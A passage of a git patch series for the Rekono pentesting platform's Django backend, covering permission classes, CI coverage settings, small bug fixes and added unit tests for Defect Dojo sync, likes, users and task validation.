b/src/backend/wordlists/views.py @@ -1,5 +1,7 @@ from framework.views import LikeViewSet +from rest_framework.permissions import IsAuthenticated from rest_framework.serializers import Serializer +from security.authorization.permissions import OwnerPermission, RekonoModelPermission from wordlists.filters import WordlistFilter from wordlists.models import Wordlist from wordlists.serializers import UpdateWordlistSerializer, WordlistSerializer @@ -13,6 +15,7 @@ class WordlistViewSet(LikeViewSet): queryset = Wordlist.objects.all() serializer_class = WordlistSerializer filterset_class = WordlistFilter + permission_classes = [IsAuthenticated, RekonoModelPermission, OwnerPermission] search_fields = ["name"] ordering_fields = ["id", "name", "type", "creator", "likes_count"] From fbc24b498d133e0becf3e9931c4b4cabdac5fd7b Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 14:37:13 +0100 Subject: [PATCH 073/141] Skip Telegram bot and notifications code from the unit tests coverage check --- .github/workflows/unit-tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index 35535dd97..e58fd9bd5 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -37,4 +37,4 @@ jobs: - name: Check coverage working-directory: src/backend - run: coverage report -m --skip-covered --omit="tests/*" --fail-under=$REQUIRED_COVERAGE + run: coverage report -m --skip-covered --omit="tests/*" --omit="platforms/telegram_app/bot/*" --omit="platforms/telegram_app/notifications/notifications.py" --omit="platforms/mail/notifications.py" --fail-under=$REQUIRED_COVERAGE From 0dfa33f7952dde12f34a9954b8f13a2c604c88be Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 15:07:31 +0100 Subject: [PATCH 074/141] Try to execute unit tests without Redis --- .github/workflows/unit-tests.yml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index e58fd9bd5..67949f38f 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -18,11 +18,11 @@ jobs: with: fetch-depth: 0 - - name: Install and start Redis server - run: | - sudo apt update -y - sudo apt install redis-server -y - sudo systemctl start redis-server + # - name: Install and start Redis server + # run: | + # sudo apt update -y + # sudo apt install redis-server -y + # sudo systemctl start redis-server - uses: actions/setup-python@v4 with: From 5dee8b3ee7709dfa7f19b406da5b43ecdd8dda6b Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 15:38:30 +0100 Subject: [PATCH 075/141] Install Redis before unit tests execution, improve authentication parser coverage and ignore some lines in the coverage check --- .github/workflows/unit-tests.yml | 10 +++++----- src/backend/findings/framework/models.py | 2 +- src/backend/framework/apps.py | 4 ++-- src/backend/tests/executors/test_base.py | 19 ++++++++++++------- src/backend/tests/framework.py | 6 +++--- 5 files changed, 23 insertions(+), 18 deletions(-) diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index 67949f38f..e58fd9bd5 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -18,11 +18,11 @@ jobs: with: fetch-depth: 0 - # - name: Install and start Redis server - # run: | - # sudo apt update -y - # sudo apt install redis-server -y - # sudo systemctl start redis-server + - name: Install and start Redis server + run: | + sudo apt update -y + sudo apt install redis-server -y + sudo systemctl start redis-server - uses: actions/setup-python@v4 with: diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index c0898d39b..d55a5512c 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -35,4 +35,4 @@ def get_project_field(cls) -> str: return "executions__task__target__project" def defect_dojo(self) -> Dict[str, Any]: - pass + pass # pragma: no cover diff --git a/src/backend/framework/apps.py b/src/backend/framework/apps.py index 21f911715..c4cc9bc41 100644 --- a/src/backend/framework/apps.py +++ b/src/backend/framework/apps.py @@ -19,7 +19,7 @@ def _load_fixtures(self, **kwargs: Any) -> None: if self.skip_if_model_exists: for model in self._get_models(): if model and model.objects.exists(): - return + return # pragma: no cover management.call_command( loaddata.Command(), *( @@ -29,4 +29,4 @@ def _load_fixtures(self, **kwargs: Any) -> None: ) def _get_models(self) -> List[Any]: - return [] + return [] # pragma: no cover diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index 57ae12143..802356774 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -1,14 +1,13 @@ +import base64 from typing import List from unittest import mock -from executions.enums import Status -from executions.models import Execution +from authentications.enums import AuthenticationType from findings.enums import OSINTDataType from findings.framework.models import Finding from findings.models import Port from parameters.models import InputTechnology, InputVulnerability from target_ports.models import TargetPort -from tasks.models import Task from tests.executors.mock import get_url from tests.framework import RekonoTest from wordlists.models import Wordlist @@ -87,13 +86,11 @@ def test_get_arguments_multiple_ports(self) -> None: ], ) - @mock.patch("framework.models.BaseInput._get_url", get_url) - def test_get_arguments_no_findings(self) -> None: - self._setup_task_user_provided_entities() + def _test_get_arguments_no_findings(self) -> None: self.target.target = "10.10.10.12" self.target.save(update_fields=["target"]) self._success_get_arguments( - f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p root -p {self.wordlist.path}", + f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p {base64.b64encode('root:root'.encode()).decode() if self.authentication.type == AuthenticationType.BASIC else 'root'} -p {self.wordlist.path}", [], [self.target_port], [self.input_vulnerability], @@ -101,6 +98,14 @@ def test_get_arguments_no_findings(self) -> None: [self.wordlist], ) + @mock.patch("framework.models.BaseInput._get_url", get_url) + def test_get_arguments_no_findings(self) -> None: + self._setup_task_user_provided_entities() + self._test_get_arguments_no_findings() + self.authentication.type = AuthenticationType.BASIC + self.authentication.save(update_fields=["type"]) + self._test_get_arguments_no_findings() + def test_get_arguments_no_base_inputs(self) -> None: self.assertFalse(self.executor.check_arguments([], [], [], [], [])) diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 40887ea74..4c1355e68 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -115,7 +115,7 @@ def _setup_fake_tool(self) -> None: self.fake_configuration = Configuration.objects.create( name="fake", tool=self.fake_tool, - arguments="{host} {url} {ports_commas} {endpoint} {technology} {secret} {cve} {exploit} {username} {wordlist}", + arguments="{host} {url} {ports_commas} {endpoint} {technology} {secret} {cve} {exploit} {token} {wordlist}", stage=Stage.ENUMERATION, default=True, ) @@ -133,7 +133,7 @@ def _setup_fake_tool(self) -> None: ("secret", False, False, [InputTypeName.CREDENTIAL]), ("cve", True, False, [InputTypeName.VULNERABILITY]), ("exploit", False, False, [InputTypeName.EXPLOIT]), - ("username", False, False, [InputTypeName.AUTHENTICATION]), + ("token", False, False, [InputTypeName.AUTHENTICATION]), ("wordlist", False, False, [InputTypeName.WORDLIST]), ]: new_argument = Argument.objects.create( @@ -168,7 +168,7 @@ def _setup_task_user_provided_entities(self) -> None: self.authentication = Authentication.objects.create( name="root", secret="root", - type=AuthenticationType.BASIC, + type=AuthenticationType.TOKEN, target_port=self.target_port, ) self.input_vulnerability = InputVulnerability.objects.create( From 4a125d85b607b449bc49f573fc7efc373bf79b5d Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 16:27:08 +0100 Subject: [PATCH 076/141] Improve unit tests coverage --- .github/workflows/unit-tests.yml | 2 +- src/backend/manage.py | 2 +- src/backend/platforms/defect_dojo/models.py | 6 +-- src/backend/rekono/config.py | 3 +- src/backend/tests/framework.py | 1 - .../tests/platforms/defect_dojo/mock.py | 4 ++ .../platforms/defect_dojo/test_entities.py | 50 +++++++++++-------- .../platforms/defect_dojo/test_settings.py | 7 +++ .../tests/platforms/defect_dojo/test_sync.py | 24 ++++++++- src/backend/tests/test_findings.py | 21 ++++++++ src/backend/tests/test_input_types.py | 11 ++++ src/backend/tests/test_processes.py | 21 ++++++++ src/backend/tests/test_projects.py | 4 +- src/backend/tests/test_tools.py | 21 ++++++++ src/backend/tests/test_wordlists.py | 22 ++++++++ 15 files changed, 169 insertions(+), 30 deletions(-) create mode 100644 src/backend/tests/test_input_types.py diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index e58fd9bd5..c9f4f3672 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -37,4 +37,4 @@ jobs: - name: Check coverage working-directory: src/backend - run: coverage report -m --skip-covered --omit="tests/*" --omit="platforms/telegram_app/bot/*" --omit="platforms/telegram_app/notifications/notifications.py" --omit="platforms/mail/notifications.py" --fail-under=$REQUIRED_COVERAGE + run: coverage report -m --skip-covered --omit="tests/*" --omit="platforms/telegram_app/bot/*" --omit="platforms/**/notifications.py" --fail-under=$REQUIRED_COVERAGE diff --git a/src/backend/manage.py b/src/backend/manage.py index 7e2304a10..67ad86dd0 100755 --- a/src/backend/manage.py +++ b/src/backend/manage.py @@ -9,7 +9,7 @@ def main(): os.environ.setdefault("DJANGO_SETTINGS_MODULE", "rekono.settings") try: from django.core.management import execute_from_command_line - except ImportError as exc: + except ImportError as exc: # pragma: no cover raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " diff --git a/src/backend/platforms/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py index 98765e596..b9a85cb7c 100644 --- a/src/backend/platforms/defect_dojo/models.py +++ b/src/backend/platforms/defect_dojo/models.py @@ -44,7 +44,7 @@ class DefectDojoSettings(BaseEncrypted): _encrypted_field = "_api_token" def __str__(self) -> str: - return self.server if self.server else super().__str__() + return self.server if self.server else self.__class__.__name__ class DefectDojoSync(BaseModel): @@ -64,7 +64,7 @@ class DefectDojoSync(BaseModel): ) def __str__(self) -> str: - return f"{self.project.__str__()} - {self.product_type_id} - {self.product_id}{f'- {self.engagement_id}' if self.engagement_id else ''}" + return f"{self.project.__str__()} - {self.product_type_id} - {self.product_id}{f' - {self.engagement_id}' if self.engagement_id else ''}" @classmethod def get_project_field(cls) -> str: @@ -87,4 +87,4 @@ def __str__(self) -> str: @classmethod def get_project_field(cls) -> str: - return "defect_dojo_sync__project" + return "defect_dojo_sync__project" # pragma: no cover diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index e16fc7f0a..cc421ab6f 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -5,8 +5,8 @@ from typing import Any, Optional import yaml -from cryptography.fernet import Fernet from rekono.properties import Property +from security.cryptography.encryption import Encryptor class RekonoConfig: @@ -25,6 +25,7 @@ def __init__(self) -> None: if self.testing: shutil.copy(self.config_file, self.home) self.config_file = self._get_config_file() + self.encryption_key = Encryptor.generate_encryption_key() with self.config_file.open("r") as file: self._config_properties = yaml.safe_load(file) for property in Property: diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 4c1355e68..be79f4b15 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -68,7 +68,6 @@ def _create_user(self, username: str, role: Role) -> User: return new_user def setUp(self) -> None: - CONFIG.encryption_key = Encryptor.generate_encryption_key() self.users: Dict[Role, List[User]] = { Role.ADMIN: [], Role.AUDITOR: [], diff --git a/src/backend/tests/platforms/defect_dojo/mock.py b/src/backend/tests/platforms/defect_dojo/mock.py index 19a559c90..9d1767c83 100644 --- a/src/backend/tests/platforms/defect_dojo/mock.py +++ b/src/backend/tests/platforms/defect_dojo/mock.py @@ -5,6 +5,10 @@ def return_true(*args: Any) -> bool: return True +def return_false(*args: Any) -> bool: + return False + + def return_id(*args: Any) -> Dict[str, int]: return {"id": 1} diff --git a/src/backend/tests/platforms/defect_dojo/test_entities.py b/src/backend/tests/platforms/defect_dojo/test_entities.py index b004ecac4..78fab2591 100644 --- a/src/backend/tests/platforms/defect_dojo/test_entities.py +++ b/src/backend/tests/platforms/defect_dojo/test_entities.py @@ -6,6 +6,7 @@ create_engagement, create_product, create_product_type, + return_false, return_true, ) @@ -17,26 +18,9 @@ class DefectDojoEntitiesTest(ApiTest): def setUp(self) -> None: super().setUp() self._setup_project() - - @mock.patch( - "platforms.defect_dojo.integrations.DefectDojo.is_available", return_true - ) - @mock.patch("platforms.defect_dojo.integrations.DefectDojo.exists", return_true) - @mock.patch( - "platforms.defect_dojo.integrations.DefectDojo.create_product_type", - create_product_type, - ) - @mock.patch( - "platforms.defect_dojo.integrations.DefectDojo.create_product", create_product - ) - @mock.patch( - "platforms.defect_dojo.integrations.DefectDojo.create_engagement", - create_engagement, - ) - def test_cases(self) -> None: valid = {"name": "test", "description": "test"} invalid = {"name": "te;st", "description": "te;st"} - for endpoint, valid, invalid in [ + self.entities_cases = [ (f"{self.endpoint}product-types/", valid, invalid), ( f"{self.endpoint}products/", @@ -48,7 +32,8 @@ def test_cases(self) -> None: {"product": 1, **valid}, {"product": 1, **invalid}, ), - ]: + ] + for endpoint, valid, invalid in self.entities_cases: self.cases.extend( [ ApiTestCase( @@ -82,8 +67,33 @@ def test_cases(self) -> None: ) ] ) + + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.is_available", return_true + ) + @mock.patch("platforms.defect_dojo.integrations.DefectDojo.exists", return_true) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.create_product_type", + create_product_type, + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.create_product", create_product + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.create_engagement", + create_engagement, + ) + def test_cases(self) -> None: super().test_cases() - self.cases = [] + + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.is_available", return_false + ) + def test_cases_not_available(self) -> None: + for endpoint, valid, _ in self.entities_cases: + ApiTestCase( + ["admin1", "auditor1"], "post", 400, valid, endpoint=endpoint + ).test_case(endpoint=endpoint) def test_anonymous_access(self) -> None: base = self.endpoint diff --git a/src/backend/tests/platforms/defect_dojo/test_settings.py b/src/backend/tests/platforms/defect_dojo/test_settings.py index bbc7e19b4..6f3a62756 100644 --- a/src/backend/tests/platforms/defect_dojo/test_settings.py +++ b/src/backend/tests/platforms/defect_dojo/test_settings.py @@ -1,3 +1,6 @@ +from typing import Any + +from platforms.defect_dojo.models import DefectDojoSettings from tests.cases import ApiTestCase from tests.framework import ApiTest @@ -29,6 +32,7 @@ class DefectDojoSettingsTest(ApiTest): endpoint = "/api/defect-dojo/settings/1/" + # expected_str = DefectDojoSettings.__class__.__name__ cases = [ ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), ApiTestCase(["admin1", "admin2"], "get", 200, expected={"id": 1, **settings}), @@ -60,3 +64,6 @@ class DefectDojoSettingsTest(ApiTest): }, ), ] + + def _get_object(self) -> Any: + return DefectDojoSettings.objects.get(pk=1) diff --git a/src/backend/tests/platforms/defect_dojo/test_sync.py b/src/backend/tests/platforms/defect_dojo/test_sync.py index 32aa14324..115ab5330 100644 --- a/src/backend/tests/platforms/defect_dojo/test_sync.py +++ b/src/backend/tests/platforms/defect_dojo/test_sync.py @@ -1,5 +1,7 @@ +from typing import Any from unittest import mock +from platforms.defect_dojo.models import DefectDojoSync, DefectDojoTargetSync from tests.cases import ApiTestCase from tests.framework import ApiTest from tests.platforms.defect_dojo.mock import return_true @@ -10,7 +12,7 @@ class DefectDojoSyncTest(ApiTest): endpoint = "/api/defect-dojo/sync/" - + expected_str = "test - 1 - 1 - 1" cases = [ ApiTestCase(["admin2", "auditor2", "reader1", "reader2"], "post", 403, sync1), ApiTestCase(["auditor1"], "post", 201, sync1, {"id": 1, **sync1}), @@ -65,3 +67,23 @@ def test_cases(self) -> None: def setUp(self) -> None: super().setUp() self._setup_project() + + def _get_object(self) -> Any: + return DefectDojoSync.objects.create(**{**sync1, "project": self.project}) + + +class DefectDojoTargetSyncTest(ApiTest): + expected_str = "test - 1 - 1 - 10.10.10.10 - 1" + + def setUp(self) -> None: + super().setUp() + self._setup_target() + + def _get_object(self) -> Any: + return DefectDojoTargetSync.objects.create( + defect_dojo_sync=DefectDojoSync.objects.create( + **{**sync2, "project": self.project} + ), + target=self.target, + engagement_id=1, + ) diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index 1f139ddca..7aba4cac2 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -147,6 +147,27 @@ def setUp(self) -> None: ], endpoint=findings_data[finding.__class__][2], ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 1, + "triage_status": TriageStatus.UNTRIAGED.value, + "triage_comment": "", + **{ + k: v + if not isinstance(v, models.TextChoices) + else v.value + for k, v in self.raw_findings[ + finding.__class__ + ].items() + }, + } + ], + endpoint=f"{findings_data[finding.__class__][2]}?host=1", + ), ApiTestCase( ["reader1", "reader2"], "put", diff --git a/src/backend/tests/test_input_types.py b/src/backend/tests/test_input_types.py new file mode 100644 index 000000000..700998d2c --- /dev/null +++ b/src/backend/tests/test_input_types.py @@ -0,0 +1,11 @@ +from typing import Any + +from input_types.models import InputType +from tests.framework import ApiTest + + +class InputTypeTest(ApiTest): + expected_str = "OSINT" + + def _get_object(self) -> Any: + return InputType.objects.get(pk=1) diff --git a/src/backend/tests/test_processes.py b/src/backend/tests/test_processes.py index ff4cfb179..fb21b21f7 100644 --- a/src/backend/tests/test_processes.py +++ b/src/backend/tests/test_processes.py @@ -144,6 +144,12 @@ class ProcessTest(ApiTest): ApiTestCase( ["reader1", "reader2"], "post", 403, endpoint="{endpoint}9/dislike/" ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + endpoint="{endpoint}?like=true", + ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], "post", @@ -163,6 +169,21 @@ class ProcessTest(ApiTest): }, endpoint="{endpoint}8/", ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected=[ + { + "id": 8, + **new_process1, + "owner": {"id": 1, "username": "admin1"}, + "liked": True, + "likes": 4, + } + ], + endpoint="{endpoint}?like=true", + ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], "post", diff --git a/src/backend/tests/test_projects.py b/src/backend/tests/test_projects.py index a3def58b0..2485bc4c0 100644 --- a/src/backend/tests/test_projects.py +++ b/src/backend/tests/test_projects.py @@ -14,7 +14,7 @@ class ProjectTest(ApiTest): endpoint = "/api/projects/" - expected_str = project1.get("name") + expected_str = "test" cases = [ ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], @@ -156,4 +156,4 @@ class ProjectTest(ApiTest): ] def _get_object(self) -> Project: - return Project.objects.create(**project1) + return self.project diff --git a/src/backend/tests/test_tools.py b/src/backend/tests/test_tools.py index e7f4e3171..908cab8d3 100644 --- a/src/backend/tests/test_tools.py +++ b/src/backend/tests/test_tools.py @@ -27,6 +27,12 @@ class ToolTest(ApiTest): endpoint="{endpoint}1/", ), ApiTestCase(["reader1", "reader2"], "post", 403, endpoint="{endpoint}1/like/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + endpoint="{endpoint}?like=true", + ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], "post", @@ -46,6 +52,21 @@ class ToolTest(ApiTest): }, endpoint="{endpoint}1/", ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected=[ + { + "id": 1, + "name": nmap, + "command": nmap.lower(), + "likes": 4, + "liked": True, + } + ], + endpoint="{endpoint}?like=true", + ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], "get", diff --git a/src/backend/tests/test_wordlists.py b/src/backend/tests/test_wordlists.py index 9312ad228..fbece3364 100644 --- a/src/backend/tests/test_wordlists.py +++ b/src/backend/tests/test_wordlists.py @@ -123,6 +123,12 @@ class WordlistTest(ApiTest): ApiTestCase( ["reader1", "reader2"], "post", 403, endpoint="{endpoint}30/dislike/" ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + endpoint="{endpoint}?like=true", + ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], "post", @@ -143,6 +149,22 @@ class WordlistTest(ApiTest): }, endpoint="{endpoint}29/", ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected=[ + { + "id": 29, + **new_wordlist_endpoints, + "size": 3, + "owner": {"id": 1, "username": "admin1"}, + "liked": True, + "likes": 4, + } + ], + endpoint="{endpoint}?like=true", + ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], "post", From c78bd875d683a8d2eacde539f3b5a020587029df Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 16:37:47 +0100 Subject: [PATCH 077/141] Fix filters by multiple database fields at once --- src/backend/framework/filters.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/backend/framework/filters.py b/src/backend/framework/filters.py index 652a4ddc7..ab12d43b2 100644 --- a/src/backend/framework/filters.py +++ b/src/backend/framework/filters.py @@ -30,7 +30,7 @@ def multiple_field_filter( self, queryset: QuerySet, name: str, value: Any ) -> QuerySet: query = Q() - for field in self.fields: + for field in self.filters[name].fields: query |= Q(**{field: value}) return queryset.filter(query) From fe7473d087974a876f362c9aeddcc56c533bfb93 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 16:39:36 +0100 Subject: [PATCH 078/141] Fix Project.__str__ test --- src/backend/tests/test_projects.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/backend/tests/test_projects.py b/src/backend/tests/test_projects.py index 2485bc4c0..a3def58b0 100644 --- a/src/backend/tests/test_projects.py +++ b/src/backend/tests/test_projects.py @@ -14,7 +14,7 @@ class ProjectTest(ApiTest): endpoint = "/api/projects/" - expected_str = "test" + expected_str = project1.get("name") cases = [ ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], @@ -156,4 +156,4 @@ class ProjectTest(ApiTest): ] def _get_object(self) -> Project: - return self.project + return Project.objects.create(**project1) From e8b210eb983e4c9b2b35f43a90df3abec6dcc9cf Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 16:55:57 +0100 Subject: [PATCH 079/141] Improve unit tests coverage --- src/backend/tasks/views.py | 2 +- src/backend/tests/platforms/defect_dojo/test_settings.py | 2 +- src/backend/tests/test_tasks.py | 8 +++++--- src/backend/tools/views.py | 2 +- 4 files changed, 8 insertions(+), 6 deletions(-) diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py index a75272187..47be46d7b 100644 --- a/src/backend/tasks/views.py +++ b/src/backend/tasks/views.py @@ -84,7 +84,7 @@ def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: logger.info(f"[Task] Task {task.id} has been cancelled") connection = django_rq.get_connection("executions-queue") for execution in running_executions: - if not CONFIG.testing: + if not CONFIG.testing: # pragma: no cover if execution.status == Status.RUNNING: send_stop_job_command(connection, execution.rq_job_id) else: diff --git a/src/backend/tests/platforms/defect_dojo/test_settings.py b/src/backend/tests/platforms/defect_dojo/test_settings.py index 6f3a62756..68768fe91 100644 --- a/src/backend/tests/platforms/defect_dojo/test_settings.py +++ b/src/backend/tests/platforms/defect_dojo/test_settings.py @@ -32,7 +32,7 @@ class DefectDojoSettingsTest(ApiTest): endpoint = "/api/defect-dojo/settings/1/" - # expected_str = DefectDojoSettings.__class__.__name__ + expected_str = DefectDojoSettings.__class__.__name__ cases = [ ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), ApiTestCase(["admin1", "admin2"], "get", 200, expected={"id": 1, **settings}), diff --git a/src/backend/tests/test_tasks.py b/src/backend/tests/test_tasks.py index 011e8f05f..0a030c6ad 100644 --- a/src/backend/tests/test_tasks.py +++ b/src/backend/tests/test_tasks.py @@ -5,9 +5,10 @@ from tests.framework import ApiTest from tools.enums import Intensity -task1 = {"target_id": 1, "configuration_id": 1, "intensity": "Hard"} +task1 = {"target_id": 1, "configuration_id": 1, "intensity": Intensity.HARD.value} task2 = {"target_id": 1, "process_id": 1} -invalid_task = {"target_id": 1} +invalid_task1 = {"target_id": 1} +invalid_task2 = {**task1, "configuration_id": 25, "intensity": Intensity.SNEAKY.value} class TaskTest(ApiTest): @@ -107,7 +108,8 @@ class TaskTest(ApiTest): expected={"id": 2, "status": Status.CANCELLED}, endpoint="/api/executions/2/", ), - ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task1), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task2), ApiTestCase(["admin2", "auditor2", "reader1", "reader2"], "post", 403, task1), ApiTestCase( ["admin1"], diff --git a/src/backend/tools/views.py b/src/backend/tools/views.py index 32f93d7b8..db480d513 100644 --- a/src/backend/tools/views.py +++ b/src/backend/tools/views.py @@ -22,7 +22,7 @@ class ToolViewSet(LikeViewSet): http_method_names = ["get", "post"] def create(self, request: Request, *args, **kwargs): - return self._method_not_allowed("POST") + return self._method_not_allowed("POST") # pragma: no cover class ConfigurationViewSet(BaseViewSet): From a23ff5a8f7d44062684b66a832e8828954f060da Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 17:03:36 +0100 Subject: [PATCH 080/141] Improve unit tests coverage --- src/backend/tests/executors/test_base.py | 4 ++++ src/backend/tests/test_users.py | 7 +++++++ src/backend/wordlists/apps.py | 4 +++- 3 files changed, 14 insertions(+), 1 deletion(-) diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index 802356774..17b0907fa 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -1,4 +1,5 @@ import base64 +import hashlib from typing import List from unittest import mock @@ -89,6 +90,9 @@ def test_get_arguments_multiple_ports(self) -> None: def _test_get_arguments_no_findings(self) -> None: self.target.target = "10.10.10.12" self.target.save(update_fields=["target"]) + with open(self.wordlist.path, "rb") as wordlist: + self.wordlist.checksum = hashlib.sha512(wordlist.read()).hexdigest() + self.wordlist.save(update_fields=["checksum"]) self._success_get_arguments( f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p {base64.b64encode('root:root'.encode()).decode() if self.authentication.type == AuthenticationType.BASIC else 'root'} -p {self.wordlist.path}", [], diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index 1e285a3f2..ada767023 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -290,6 +290,13 @@ def test_invite_and_create(self) -> None: ) self.assertEqual(400, response.status_code) + new_user.is_active = True + new_user.save(update_fields=["is_active"]) + response = client.post(f"{self.endpoint}create/", data={"otp": otp, **user1}) + self.assertEqual(400, response.status_code) + + new_user.is_active = None + new_user.save(update_fields=["is_active"]) response = client.post(f"{self.endpoint}create/", data={"otp": otp, **user1}) self.assertEqual(201, response.status_code) content = self._get_content(response.content) diff --git a/src/backend/wordlists/apps.py b/src/backend/wordlists/apps.py index f3923ef2c..aae562b6d 100644 --- a/src/backend/wordlists/apps.py +++ b/src/backend/wordlists/apps.py @@ -24,7 +24,9 @@ def _load_fixtures(self, **kwargs: Any) -> None: def update_default_wordlists_size(self, **kwargs: Any) -> None: """Update default wordlists size.""" for wordlist in self._get_models()[0].objects.all(): - if Path(wordlist.path).is_file() and os.access(wordlist.path, os.R_OK): + if Path(wordlist.path).is_file() and os.access( + wordlist.path, os.R_OK + ): # pragma: no cover with open(wordlist.path, "rb+") as wordlist_file: wordlist.size = len(wordlist_file.readlines()) wordlist.save(update_fields=["size"]) From 99e43cd46a5c4a672a9fd105a0b7aec7e2c4f5b5 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 17:15:53 +0100 Subject: [PATCH 081/141] Improve unit tests coverage --- src/backend/tests/executors/test_base.py | 4 -- src/backend/tests/framework.py | 7 +-- src/backend/tests/test_users.py | 60 +++++++++++++++++++++++- 3 files changed, 63 insertions(+), 8 deletions(-) diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index 17b0907fa..802356774 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -1,5 +1,4 @@ import base64 -import hashlib from typing import List from unittest import mock @@ -90,9 +89,6 @@ def test_get_arguments_multiple_ports(self) -> None: def _test_get_arguments_no_findings(self) -> None: self.target.target = "10.10.10.12" self.target.save(update_fields=["target"]) - with open(self.wordlist.path, "rb") as wordlist: - self.wordlist.checksum = hashlib.sha512(wordlist.read()).hexdigest() - self.wordlist.save(update_fields=["checksum"]) self._success_get_arguments( f"-p http://10.10.10.12:80/login.php -p 80 -p /login.php -p Joomla -p CVE-2023-2222 -p {base64.b64encode('root:root'.encode()).decode() if self.authentication.type == AuthenticationType.BASIC else 'root'} -p {self.wordlist.path}", [], diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index be79f4b15..ab803e3c5 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -1,3 +1,4 @@ +import hashlib import json from pathlib import Path as PathFile from typing import Any, Dict, List @@ -31,10 +32,8 @@ from parameters.models import InputTechnology, InputVulnerability from processes.models import Process, Step from projects.models import Project -from rekono.settings import CONFIG from rest_framework.test import APIClient from security.authorization.roles import Role -from security.cryptography.encryption import Encryptor from target_ports.models import TargetPort from targets.enums import TargetType from targets.models import Target @@ -176,10 +175,12 @@ def _setup_task_user_provided_entities(self) -> None: self.input_technology = InputTechnology.objects.create( target=self.target, name="Joomla", version="2.0.0" ) + 